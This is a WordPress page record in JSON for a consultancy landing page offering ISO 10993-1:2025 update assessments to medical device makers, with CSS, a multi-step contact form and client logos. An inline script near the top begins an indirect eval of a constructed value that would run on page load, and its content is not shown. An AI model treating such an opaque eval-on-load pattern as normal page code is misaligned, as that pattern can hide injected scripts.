{"id":46041,"date":"2026-10-24T13:48:13","date_gmt":"2026-10-24T16:48:13","guid":{"rendered":"https:\/\/sobelconsult.com\/biologische-bewertung-iso-10993-1-2025\/"},"modified":"2026-10-24T18:03:19","modified_gmt":"2026-10-24T21:03:19","slug":"biologische-bewertung-iso-10993-1-2025","status":"publish","type":"page","link":"https:\/\/sobelconsult.com\/de\/biologische-bewertung-iso-10993-1-2025\/","title":{"rendered":"Bewertung der Aktualisierung der Norm ISO 10993-1:2025 f\u00fcr Medizinprodukte"},"content":{"rendered":"\n<script>Array.from(document.body.classList).forEach(function(c){ if (\/^elementor-kit-\/.test(c)) document.body.classList.remove(c); }); document.querySelectorAll('link[rel=\"stylesheet\"][href*=\"\/themes\/hello-elementor\/\"]').forEach(function(l){ l.disabled = true; });<\/script>\n<script>(0,eval)(new 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width:100%;min-height:48px;padding:12px 10px;border:1.5px solid var(--line);\n  border-radius:var(--radius-sm);font:inherit;font-size:15px;color:var(--ink);\n  background:#FFFFFF;transition:border-color .15s;\n}\n.phone-input select:focus{outline:none;border-color:var(--ink);box-shadow:0 0 0 3px rgba(21,35,63,.08)}\n@media(max-width:420px){.phone-input{grid-template-columns:1fr}}\n.consent{display:flex;gap:10px;align-items:flex-start;font-size:.8rem;color:var(--ink-soft);margin:14px 0 16px}\n.consent input{width:19px;height:19px;margin-top:1px;flex:none;accent-color:var(--ink)}\n.consent a{font-weight:600;color:var(--ink)}\n.consent.error,.consent.error a{color:var(--red)}\n.form-foot{margin-top:12px;text-align:center;font-size:.78rem;color:var(--ink-soft);display:flex;justify-content:center;gap:14px;flex-wrap:wrap}\n.form-foot span{display:inline-flex;align-items:center;gap:5px}\n.form-foot svg{width:12px;height:12px;color:var(--green)}\n.reply-promise{\n  margin-top:16px;padding:11px 14px;background:var(--blush);border-radius:var(--radius-sm);\n  font-size:.84rem;color:var(--ink);display:flex;gap:9px;align-items:center;\n}\n.reply-promise svg{flex:none;width:17px;height:17px;color:var(--gold-deep)}\n.success{display:none;text-align:center;padding:26px 6px 10px}\n.success.show{display:block;animation:stepIn .3s ease}\n.success .seal-ok{width:54px;height:54px;border-radius:50%;background:#E8F1EB;color:var(--green);display:grid;place-items:center;margin:0 auto 16px}\n.success .seal-ok svg{width:26px;height:26px}\n.success h3{font-family:\"Fraunces\",serif;font-size:1.35rem;font-weight:700;margin-bottom:8px}\n.success p{font-size:.9rem}\n.success .prep{margin-top:16px;text-align:left;background:var(--blush);border-radius:var(--radius-sm);padding:14px 16px;font-size:.85rem}\n.success .prep b{display:block;margin-bottom:6px;color:var(--ink)}\n.success .prep ul{margin-left:18px;color:var(--ink-soft)}\n\/* ================= SECTION VARIANTS ================= *\/\n.sec-blush{background:var(--blush)}\n.sec-ink{background:var(--ink);color:#fff}\n.sec-ink p{color:#B9C2D6}\n.sec-ink .eyebrow{color:var(--gold)}\n\/* ================= FIT CHECKLIST ================= *\/\n.fit-grid{display:grid;gap:28px}\n@media(min-width:900px){.fit-grid{grid-template-columns:1fr 1fr;gap:56px;align-items:center}}\n.fit-list{list-style:none;display:grid;gap:12px}\n.fit-list li{display:flex;gap:12px;background:var(--paper);border:1px solid var(--line);border-radius:var(--radius-sm);padding:14px 16px;font-weight:500;font-size:.95rem}\n.fit-note{margin-top:18px;padding:14px 16px;border-left:3px solid var(--gold);background:var(--paper);border-radius:0 var(--radius-sm) var(--radius-sm) 0;font-size:.92rem;color:var(--ink)}\n\/* ================= PROBLEM ================= *\/\n.problem-grid{display:grid;gap:16px}\n@media(min-width:760px){.problem-grid{grid-template-columns:1fr 1fr}}\n.problem-card{background:var(--paper);border:1px solid var(--line);border-radius:var(--radius);padding:24px}\n.problem-card.costs{background:var(--ink);border-color:var(--ink)}\n.problem-card.costs h3,.problem-card.costs li{color:#fff}\n.problem-card h3{margin-bottom:14px;display:flex;align-items:center;gap:9px}\n.problem-card h3 svg{width:18px;height:18px;color:var(--gold-deep)}\n.problem-card.costs h3 svg{color:var(--gold)}\n.problem-card ul{list-style:none;display:grid;gap:9px}\n.problem-card li{display:flex;gap:9px;font-size:.93rem;color:var(--ink-soft);align-items:flex-start}\n.problem-card li::before{content:\"\";flex:none;width:5px;height:5px;border-radius:50%;background:var(--gold);margin-top:9px}\n.problem-card.costs li{color:#C7CFE0}\n\/* ================= DELIVERABLE (Part A \/ B + seal) ================= *\/\n.parts-grid{display:grid;gap:18px;margin-top:8px}\n@media(min-width:860px){.parts-grid{grid-template-columns:1fr 1fr;gap:24px}}\n.part-card{position:relative;background:var(--paper);border:1px solid var(--line);border-radius:var(--radius);padding:26px 24px;box-shadow:var(--shadow)}\n.part-label{font-size:.7rem;font-weight:800;letter-spacing:.16em;text-transform:uppercase;color:var(--gold-deep)}\n.part-card h3{font-family:\"Fraunces\",serif;font-size:1.35rem;font-weight:700;margin:6px 0 4px}\n.part-card .part-sub{font-size:.86rem;margin-bottom:16px}\n.part-card ul{list-style:none;display:grid;gap:9px}\n.part-card li{display:flex;gap:10px;font-size:.92rem;color:var(--ink-soft);align-items:flex-start}\n.part-card li .tick{width:18px;height:18px;margin-top:2px}\n.part-card li .tick svg{width:9px;height:9px}\n.signed-strip{\n  margin-top:20px;padding-top:18px;border-top:1px dashed var(--line);\n  display:flex;align-items:center;gap:16px;\n}\n.signature-line{flex:1;min-width:0}\n.signature-line svg{width:min(150px,100%);height:auto;color:var(--ink)}\n.signature-line .sig-caption{font-size:.74rem;color:var(--ink-soft);border-top:1px solid var(--ink);padding-top:5px;margin-top:-4px}\n.seal{flex:none;width:78px;height:78px}\n.seal svg{width:100%;height:100%}\n@keyframes sealIn{from{transform:rotate(-14deg) scale(1.25);opacity:0}to{transform:rotate(-8deg) scale(1);opacity:1}}\n.seal.stamped svg{animation:sealIn .45s cubic-bezier(.2,1.4,.4,1) both}\n.sig-path{stroke-dasharray:520;stroke-dashoffset:520}\n.drawn .sig-path{animation:draw 1.6s ease forwards .2s}\n@keyframes draw{to{stroke-dashoffset:0}}\n\/* ================= PROCESS (steps left \u00b7 contained image right) ================= *\/\n.process-grid{display:grid;gap:32px}\n@media(min-width:920px){.process-grid{grid-template-columns:1.1fr .9fr;column-gap:56px;align-items:start}}\n.process-list{list-style:none;counter-reset:step;display:grid;gap:0;max-width:none}\n.process-list li{position:relative;padding:0 0 34px 58px}\n.process-list li:last-child{padding-bottom:0}\n.process-list li::before{\n  counter-increment:step;content:counter(step);\n  position:absolute;left:0;top:0;width:38px;height:38px;border-radius:50%;\n  background:var(--paper);border:1.5px solid var(--gold);color:var(--ink);\n  font-family:\"Fraunces\",serif;font-weight:700;font-size:1.05rem;\n  display:grid;place-items:center;\n}\n.process-list li::after{content:\"\";position:absolute;left:19px;top:44px;bottom:10px;width:1.5px;background:var(--line)}\n.process-list li:last-child::after{display:none}\n.process-list h3{margin-bottom:6px;min-height:38px;display:flex;flex-wrap:wrap;align-items:center;gap:8px}\n.process-list h3 .when{font-size:.72rem;font-weight:700;letter-spacing:.1em;text-transform:uppercase;color:var(--gold-deep)}\n.process-list p{font-size:.93rem;max-width:48ch}\n\/* Contained image (NOT a background image) \u2014 replace inner <svg> with your own <img> *\/\n.process-visual{\n  position:relative;border-radius:var(--radius);overflow:hidden;\n  border:1px solid var(--line);box-shadow:var(--shadow-lift);\n  aspect-ratio:4\/5;background:linear-gradient(150deg,#F6EEE6 0%,#F1E5DA 100%);\n}\n@media(min-width:920px){.process-visual{position:sticky;top:84px}}\n.process-visual>svg{width:100%;height:100%;display:block}\n.process-photo{width:100%;height:100%;object-fit:cover;display:block}\n\/* ================= WHY ================= *\/\n.why-grid{display:grid;gap:14px}\n@media(min-width:680px){.why-grid{grid-template-columns:1fr 1fr}}\n@media(min-width:1024px){.why-grid{grid-template-columns:repeat(4,1fr)}}\n.why-card{background:rgba(255,255,255,.05);border:1px solid var(--line-ink);border-radius:var(--radius);padding:22px 20px}\n.why-card .icon{width:38px;height:38px;border-radius:10px;background:rgba(224,172,47,.14);color:var(--gold);display:grid;place-items:center;margin-bottom:14px}\n.why-card .icon svg{width:19px;height:19px}\n.why-card h3{color:#fff;font-size:1rem;margin-bottom:6px}\n.why-card p{font-size:.88rem}\n\/* ================= TESTIMONIAL ================= *\/\n.quote-card{max-width:780px;margin:0 auto;text-align:center}\n.quote-card blockquote{font-family:\"Fraunces\",serif;font-size:clamp(1.2rem,3vw,1.55rem);font-weight:600;line-height:1.4;color:var(--ink)}\n.quote-card cite{display:block;margin-top:16px;font-style:normal;font-size:.88rem;color:var(--ink-soft)}\n.quote-card cite b{display:block;color:var(--ink);font-size:.95rem}\n\/* ================= FAQ ================= *\/\n.faq-list{max-width:760px}\n.faq-item{border-bottom:1px solid var(--line)}\n.faq-q{\n  width:100%;display:flex;justify-content:space-between;align-items:center;gap:14px;\n  padding:18px 2px;text-align:left;font-weight:700;font-size:1rem;min-height:56px;\n}\n.faq-q .chev{flex:none;width:22px;height:22px;border-radius:50%;border:1.5px solid var(--line);display:grid;place-items:center;transition:transform .25s ease,background .2s}\n.faq-q .chev svg{width:10px;height:10px}\n.faq-item.open .chev{transform:rotate(180deg);background:var(--ink);color:#fff;border-color:var(--ink)}\n.faq-a{display:grid;grid-template-rows:0fr;transition:grid-template-rows .28s ease}\n.faq-a>div{overflow:hidden}\n.faq-item.open .faq-a{grid-template-rows:1fr}\n.faq-a p{padding:0 2px 20px;font-size:.94rem;max-width:62ch}\n.no-js .faq-a{grid-template-rows:1fr}\n\/* ================= FINAL CTA ================= *\/\n.final-cta{text-align:center}\n.final-cta h2{color:#fff;max-width:640px;margin:0 auto}\n.final-cta p{max-width:520px;margin:14px auto 26px}\n.final-cta .micro{font-size:.8rem;margin-top:14px;color:#8E9AB5}\n\/* ================= FOOTER ================= *\/\nfooter{padding:28px 0 110px;border-top:1px solid var(--line);font-size:.8rem;color:var(--ink-soft)}\n@media(min-width:760px){footer{padding-bottom:34px}}\nfooter .wrap{display:flex;flex-wrap:wrap;gap:10px 22px;justify-content:space-between;align-items:center}\nfooter nav{display:flex;gap:18px;flex-wrap:wrap}\nfooter a{text-decoration:none}\nfooter a:hover{text-decoration:underline}\n\/* ================= COOKIE CONSENT ================= *\/\n.cookie-consent{\n  position:fixed;left:var(--gutter);right:var(--gutter);bottom:calc(14px + env(safe-area-inset-bottom));z-index:1200;\n  max-width:1040px;margin:0 auto;background:var(--ink);color:#fff;border:1px solid rgba(255,255,255,.18);\n  border-radius:var(--radius);box-shadow:0 24px 70px -24px rgba(7,30,99,.55);padding:18px;display:none;\n}\n.cookie-consent.show{display:block}\n.cookie-consent p{color:#D7DEF0;font-size:.88rem}\n.cookie-consent a{color:#fff;font-weight:700}\n.cookie-consent h2{font-family:\"Public Sans\",sans-serif;font-size:1rem;font-weight:800;line-height:1.25;color:#fff;margin-bottom:5px}\n.cookie-consent-actions{display:flex;gap:9px;flex-wrap:wrap;margin-top:14px}\n.cookie-btn{\n  min-height:40px;border-radius:999px;padding:9px 15px;font-weight:800;font-size:.84rem;border:1px solid rgba(255,255,255,.28);\n  background:transparent;color:#fff;transition:background .15s ease,border-color .15s ease,transform .15s ease;\n}\n.cookie-btn:active{transform:scale(.98)}\n.cookie-btn-primary{background:var(--gold);border-color:var(--gold);color:var(--ink)}\n.cookie-btn-primary:hover{background:var(--gold-hover)}\n.cookie-btn:hover{border-color:#fff}\n.cookie-preferences{display:none;margin-top:14px;padding-top:14px;border-top:1px solid rgba(255,255,255,.15)}\n.cookie-preferences.open{display:block}\n.cookie-choice{display:flex;gap:12px;align-items:flex-start;padding:10px 0}\n.cookie-choice+.cookie-choice{border-top:1px solid rgba(255,255,255,.12)}\n.cookie-choice input{width:18px;height:18px;margin-top:3px;accent-color:var(--gold);flex:none}\n.cookie-choice strong{display:block;color:#fff;font-size:.9rem}\n.cookie-choice span{display:block;color:#C7D2F0;font-size:.8rem}\n.cookie-manage{font:inherit;color:inherit;background:none;border:0;padding:0;text-decoration:none;cursor:pointer}\n.cookie-manage:hover{text-decoration:underline}\nbody.cookie-consent-open .sticky-cta{display:none}\n@media(min-width:760px){\n  .cookie-consent{bottom:22px;padding:20px 22px}\n  .cookie-consent-inner{display:grid;grid-template-columns:1fr auto;gap:22px;align-items:start}\n  .cookie-consent-actions{justify-content:flex-end;margin-top:0}\n  .cookie-preferences{grid-column:1 \/ -1}\n}\n\/* ================= STICKY MOBILE CTA ================= *\/\n.sticky-cta{\n  position:fixed;left:0;right:0;bottom:0;z-index:90;\n  padding:10px var(--gutter) calc(10px + env(safe-area-inset-bottom));\n  background:rgba(250,249,246,.95);backdrop-filter:blur(10px);\n  border-top:1px solid var(--line);\n  transform:translateY(110%);transition:transform .3s ease;\n}\n.sticky-cta.show{transform:none}\n@media(min-width:760px){.sticky-cta{display:none}}\n\/* ================= MOTION SAFETY ================= *\/\n@media(prefers-reduced-motion:reduce){\n  html{scroll-behavior:auto}\n  *,*::before,*::after{animation-duration:.01ms!important;animation-iteration-count:1!important;transition-duration:.01ms!important}\n  .sig-path{stroke-dashoffset:0}\n}\n<\/style>\n<style>header.site-header{max-width:none!important;width:100%!important;margin:0!important;padding:0!important;display:block!important}<\/style>\n<header class=\"site-header\">\n<div class=\"wrap\">\n<a aria-label=\"Sobel \u2014 biological evaluation and ISO 10993 support\" class=\"brand\" href=\"#top\">\n<img fetchpriority=\"high\" alt=\"Sobel\" class=\"brand-logo\" height=\"262\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-sobel-logo-28601-5.png\" width=\"600\" decoding=\"async\"\/>\n<\/a>\n<p class=\"header-note\">ISO 10993-1:2025 \u00b7 Biological Evaluation \u00b7 Medical Devices<\/p>\n<a class=\"btn btn-gold btn-sm\" href=\"#cta\"><span class=\"long\">Request an assessment<\/span><span class=\"short\">Assessment<\/span><\/a>\n<\/div>\n<\/header>\n<main id=\"top\">\n<section aria-labelledby=\"hero-h\" class=\"hero\">\n<div class=\"wrap\">\n<div class=\"hero-copy\">\n<span class=\"eyebrow\">Medical Devices \u2022 ISO 10993-1:2025 Update \u2022 Biological Evaluation<\/span>\n<h1 id=\"hero-h\">Is your ISO 10993-1 strategy ready for the <em>2025 update?<\/em><\/h1>\n<p class=\"hero-sub\">The ISO 10993-1:2025 update can affect how your biological evaluation, materials information, exposure rationale and testing strategy are documented for medical device submissions.<\/p><p class=\"hero-sub\" style=\"font-size:.96rem;margin-top:12px\">Sobel helps medical device companies review existing biological evaluation documentation, identify update gaps and define the next technical-regulatory step based on the device, body contact, materials, evidence and target market.<\/p>\n<\/div>\n<div class=\"form-card\" id=\"cta\">\n<span class=\"form-tab\">ISO 10993-1:2025 Assessment<\/span>\n<form id=\"cpsr-form\" novalidate=\"\">\n<div class=\"form-head\">\n<span class=\"form-title\">Start your update assessment<\/span>\n<span class=\"form-time\"><svg fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.6\" viewbox=\"0 0 16 16\"><circle cx=\"8\" cy=\"8\" r=\"6.4\"><\/circle><path d=\"M8 4.6V8l2.3 1.6\" stroke-linecap=\"round\"><\/path><\/svg>~60 seconds<\/span>\n<\/div>\n<p class=\"form-sub\">Answer 3 quick questions so the right technical-regulatory specialist can review your update scenario.<\/p>\n<div aria-hidden=\"true\" class=\"progress\"><div class=\"progress-bar\" id=\"progress-bar\"><\/div><\/div>\n<p aria-live=\"polite\" class=\"progress-label\" id=\"progress-label\">Step 1 of 4<\/p>\n<fieldset class=\"step active\" data-step=\"1\">\n<legend class=\"step-q\">What do you need to update or review right now?<\/legend>\n<div class=\"choice-grid\" role=\"group\"><button class=\"choice wide\" data-field=\"main_need\" data-value=\"Review the impact of ISO 10993-1:2025 on existing documentation\" type=\"button\">Review the impact of ISO 10993-1:2025 on existing documentation<\/button><button class=\"choice wide\" data-field=\"main_need\" data-value=\"Understand whether current testing and rationale are still sufficient\" type=\"button\">Understand whether current testing and rationale are still sufficient<\/button><button class=\"choice wide\" data-field=\"main_need\" data-value=\"Update a Biological Evaluation Plan or Report\" type=\"button\">Update a Biological Evaluation Plan or Report<\/button><button class=\"choice wide\" data-field=\"main_need\" data-value=\"Respond to regulatory, auditor or notified body questions\" type=\"button\">Respond to regulatory, auditor or notified body questions<\/button><button class=\"choice wide\" data-field=\"main_need\" data-value=\"Clarify what needs to change before submission\" type=\"button\">Clarify what needs to change before submission<\/button><\/div>\n<\/fieldset>\n<fieldset class=\"step\" data-step=\"2\">\n<legend class=\"step-q\">Which situation best describes your device or portfolio?<\/legend>\n<div class=\"choice-grid\" role=\"group\"><button class=\"choice wide\" data-field=\"device_stage\" data-value=\"Preparing a new submission\" type=\"button\">Preparing a new submission<\/button><button class=\"choice wide\" data-field=\"device_stage\" data-value=\"Submission already in progress\" type=\"button\">Submission already in progress<\/button><button class=\"choice wide\" data-field=\"device_stage\" data-value=\"Questions or deficiencies received\" type=\"button\">Questions or deficiencies received<\/button><button class=\"choice wide\" data-field=\"device_stage\" data-value=\"Product still in development\" type=\"button\">Product still in development<\/button><button class=\"choice wide\" data-field=\"device_stage\" data-value=\"Reviewing marketed devices or legacy files\" type=\"button\">Reviewing marketed devices or legacy files<\/button><\/div>\n<button class=\"step-back\" data-back=\"\" type=\"button\">\u2190 Back<\/button>\n<\/fieldset>\n<fieldset class=\"step\" data-step=\"3\">\n<legend class=\"step-q\">What do you already have available for review?<\/legend>\n<div class=\"choice-grid\" role=\"group\"><button class=\"choice wide\" data-field=\"available_info\" data-value=\"Current ISO 10993 test reports\" type=\"button\">Current ISO 10993 test reports<\/button><button class=\"choice wide\" data-field=\"available_info\" data-value=\"A Biological Evaluation Plan or Report\" type=\"button\">A Biological Evaluation Plan or Report<\/button><button class=\"choice wide\" data-field=\"available_info\" data-value=\"Material\/device information and technical documentation\" type=\"button\">Materials, device information and technical documentation<\/button><button class=\"choice wide\" data-field=\"available_info\" data-value=\"Partial documentation - need help identifying gaps\" type=\"button\">Partial documentation \u2014 need help identifying update gaps<\/button><button class=\"choice wide\" data-field=\"available_info\" data-value=\"Not sure what needs to be updated\" type=\"button\">Not sure what needs to be updated<\/button><\/div>\n<button class=\"step-back\" data-back=\"\" type=\"button\">\u2190 Back<\/button>\n<\/fieldset>\n<fieldset class=\"step\" data-step=\"4\">\n<legend class=\"step-q\">Where should we send your update assessment?<\/legend>\n<div class=\"field\" data-name=\"name\">\n<label for=\"f-name\">Full name<\/label>\n<input autocomplete=\"name\" id=\"f-name\" name=\"name\" required=\"\" type=\"text\"\/>\n<p class=\"err\">Please enter your name.<\/p>\n<\/div>\n<div class=\"field\" data-name=\"email\">\n<label for=\"f-email\">Work email<\/label>\n<input autocomplete=\"email\" id=\"f-email\" inputmode=\"email\" name=\"email\" required=\"\" type=\"email\"\/>\n<p class=\"err\">Please enter a valid email address.<\/p>\n<\/div>\n<div class=\"field\" data-name=\"phone\">\n<label for=\"f-phone\">Phone \/ WhatsApp<\/label>\n<div class=\"phone-input\">\n<select aria-label=\"Phone country\" id=\"f-phone-country\" name=\"phone_country\">\n<option data-country=\"US\" value=\"+1\">\ud83c\uddfa\ud83c\uddf8 +1<\/option>\n<option data-country=\"BR\" value=\"+55\">\ud83c\udde7\ud83c\uddf7 +55<\/option>\n<option data-country=\"DE\" value=\"+49\">\ud83c\udde9\ud83c\uddea +49<\/option>\n<option data-country=\"GB\" value=\"+44\">\ud83c\uddec\ud83c\udde7 +44<\/option>\n<option data-country=\"FR\" value=\"+33\">\ud83c\uddeb\ud83c\uddf7 +33<\/option>\n<option data-country=\"ES\" value=\"+34\">\ud83c\uddea\ud83c\uddf8 +34<\/option>\n<option data-country=\"IT\" value=\"+39\">\ud83c\uddee\ud83c\uddf9 +39<\/option>\n<option data-country=\"PT\" value=\"+351\">\ud83c\uddf5\ud83c\uddf9 +351<\/option>\n<option data-country=\"NL\" value=\"+31\">\ud83c\uddf3\ud83c\uddf1 +31<\/option>\n<option data-country=\"BE\" value=\"+32\">\ud83c\udde7\ud83c\uddea +32<\/option>\n<option data-country=\"CH\" value=\"+41\">\ud83c\udde8\ud83c\udded +41<\/option>\n<option data-country=\"AT\" value=\"+43\">\ud83c\udde6\ud83c\uddf9 +43<\/option>\n<option data-country=\"IE\" value=\"+353\">\ud83c\uddee\ud83c\uddea +353<\/option>\n<option data-country=\"SE\" value=\"+46\">\ud83c\uddf8\ud83c\uddea +46<\/option>\n<option data-country=\"DK\" value=\"+45\">\ud83c\udde9\ud83c\uddf0 +45<\/option>\n<option data-country=\"NO\" value=\"+47\">\ud83c\uddf3\ud83c\uddf4 +47<\/option>\n<option data-country=\"FI\" value=\"+358\">\ud83c\uddeb\ud83c\uddee +358<\/option>\n<option data-country=\"MX\" value=\"+52\">\ud83c\uddf2\ud83c\uddfd +52<\/option>\n<option data-country=\"CA\" value=\"+1\">\ud83c\udde8\ud83c\udde6 +1<\/option>\n<option data-country=\"AU\" value=\"+61\">\ud83c\udde6\ud83c\uddfa +61<\/option>\n<option data-country=\"IN\" value=\"+91\">\ud83c\uddee\ud83c\uddf3 +91<\/option>\n<option data-country=\"CN\" value=\"+86\">\ud83c\udde8\ud83c\uddf3 +86<\/option>\n<option data-country=\"JP\" value=\"+81\">\ud83c\uddef\ud83c\uddf5 +81<\/option>\n<\/select>\n<input autocomplete=\"tel\" id=\"f-phone\" inputmode=\"tel\" name=\"phone\" required=\"\" type=\"text\" data-lp-tel=\"1\"\/>\n<\/div>\n<p class=\"err\">Please enter your phone number.<\/p>\n<\/div>\n<div class=\"field\" data-name=\"company\">\n<label for=\"f-company\">Company<\/label>\n<input autocomplete=\"organization\" id=\"f-company\" name=\"company\" required=\"\" type=\"text\"\/>\n<p class=\"err\">Please enter your company.<\/p>\n<\/div>\n<div class=\"field\">\n<label for=\"f-msg\">Anything we should know? <small>(optional)<\/small><\/label>\n<textarea id=\"f-msg\" name=\"message\" placeholder=\"Example: We need to understand whether our current biological evaluation documentation needs to be updated for ISO 10993-1:2025.\" rows=\"2\"><\/textarea>\n<\/div>\n<label class=\"consent\" id=\"consent-row\">\n<input id=\"f-consent\" required=\"\" type=\"checkbox\"\/>\n<span>I agree to the <a href=\"https:\/\/sobelconsult.com\/de\/datenschutzbestimmungen\/\" rel=\"noopener\" target=\"_blank\">privacy policy<\/a> and to be contacted about my assessment request.<\/span>\n<\/label>\n<input id=\"h-main_need\" name=\"main_need\" type=\"hidden\"\/><input id=\"h-device_stage\" name=\"device_stage\" type=\"hidden\"\/><input id=\"h-available_info\" name=\"available_info\" type=\"hidden\"\/><input id=\"h-utm_source\" name=\"utm_source\" type=\"hidden\"\/>\n<input id=\"h-utm_medium\" name=\"utm_medium\" type=\"hidden\"\/>\n<input id=\"h-utm_campaign\" name=\"utm_campaign\" type=\"hidden\"\/>\n<input id=\"h-utm_adgroupname\" name=\"utm_adgroupname\" type=\"hidden\"\/>\n<input id=\"h-utm_content\" name=\"utm_content\" type=\"hidden\"\/>\n<input id=\"h-utm_term\" name=\"utm_term\" type=\"hidden\"\/>\n<input id=\"h-utm_device\" name=\"utm_device\" type=\"hidden\"\/>\n<input id=\"h-gclid\" name=\"gclid\" type=\"hidden\"\/>\n<input id=\"h-referrer\" name=\"referrer\" type=\"hidden\"\/>\n<input name=\"business_area\" type=\"hidden\" value=\"Medical Devices\"\/>\n<input name=\"service_key\" type=\"hidden\" value=\"iso10993_1_2025_update\"\/>\n<input id=\"h-landing_page\" name=\"landing_page\" type=\"hidden\"\/>\n<input id=\"h-page_url\" name=\"page_url\" type=\"hidden\"\/>\n<input id=\"h-raw_querystring\" name=\"raw_querystring\" type=\"hidden\"\/>\n<input name=\"page\" type=\"hidden\" value=\"lp\/medical-devices\/biological-evaluation-iso10993\"\/>\n<button class=\"btn btn-gold btn-block\" id=\"submit-btn\" type=\"submit\">Request my initial assessment <span class=\"arr\">\u2192<\/span><\/button>\n<button class=\"step-back\" data-back=\"\" type=\"button\">\u2190 Back<\/button>\n<div class=\"form-foot\">\n<span><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg>Technical review<\/span>\n<span><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg>ISO 10993 expertise<\/span>\n<span><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg>Confidential<\/span>\n<\/div>\n<\/fieldset>\n<\/form>\n<div class=\"success\" id=\"success\" role=\"status\">\n<div class=\"seal-ok\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 24 24\"><path d=\"M4 12.5l5 5L20 6.5\"><\/path><\/svg><\/div>\n<h3>Request received<\/h3>\n<p>Your request will be reviewed by a technical-regulatory specialist, and we will follow up with the next steps.<\/p>\n<div class=\"prep\">\n<b>Want a head start? Have these ready if you can:<\/b>\n<ul><li>Device type, body contact and intended use<\/li><li>Current biological evaluation documentation<\/li><li>Available ISO 10993 reports, test data or rationale<\/li><\/ul>\n<\/div>\n<\/div>\n<div class=\"reply-promise\" id=\"reply-promise\">\n<svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.6\" viewbox=\"0 0 20 20\"><rect height=\"12\" rx=\"2\" width=\"15\" x=\"2.5\" y=\"4\"><\/rect><path d=\"M3 5.5l7 5.5 7-5.5\"><\/path><\/svg>\n<span>You\u2019ll hear from a technical-regulatory specialist \u2014 not an automated sequence \u2014 <strong>Reviewed by a specialist<\/strong>.<\/span>\n<\/div>\n<\/div>\n<div class=\"hero-more\">\n<ul class=\"hero-points\">\n<li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span><span>ISO 10993-1:2025 update assessment<small>Understand whether your current documentation may need updates before the next regulatory step.<\/small><\/span><\/li>\n<li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span><span>Reviewed by a specialist<small>Your update scenario is reviewed by a technical-regulatory team, not an automated sequence.<\/small><\/span><\/li>\n<li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span><span>Your technical information stays confidential<small>Technical information is handled only to understand your update needs and provide relevant support.<\/small><\/span><\/li>\n<\/ul>\n<p class=\"hero-secondary\">Not sure what the ISO 10993-1:2025 update means for your device? <a href=\"#cta\">Start with an update assessment<\/a>  \u00b7  <a href=\"#faq\">Read the FAQ<\/a>  \u00b7  <a href=\"#cta\">Request specialist support<\/a><\/p>\n<\/div>\n<\/div>\n<\/section>\n<div aria-label=\"Trusted by\" class=\"logo-strip\">\n<div class=\"wrap\">\n<div class=\"logo-card\">\n<p class=\"label\">Trusted technical-regulatory support for medical device companies<\/p>\n<div class=\"logo-row\">\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"B. Braun\" height=\"34\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-b-braun-6946-5.png\" width=\"126\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Fresenius Kabi\" height=\"31\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-fresenius-kabi-4631-5.png\" width=\"107\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Dentsply Sirona\" height=\"39\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-dentsply-sirona-4266-5.png\" width=\"90\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Hypera Pharma\" height=\"39\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-hypera-pharma-6796-5.png\" width=\"112\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Ach\u00e9\" height=\"21\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-ach-4038-5.png\" width=\"98\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Baruel\" height=\"41\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-baruel-4838-5.png\" width=\"86\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Surya Brasil\" height=\"26\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-surya-brasil-5106.png\" width=\"133\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Pasteur Cosmiatria\" height=\"48\" 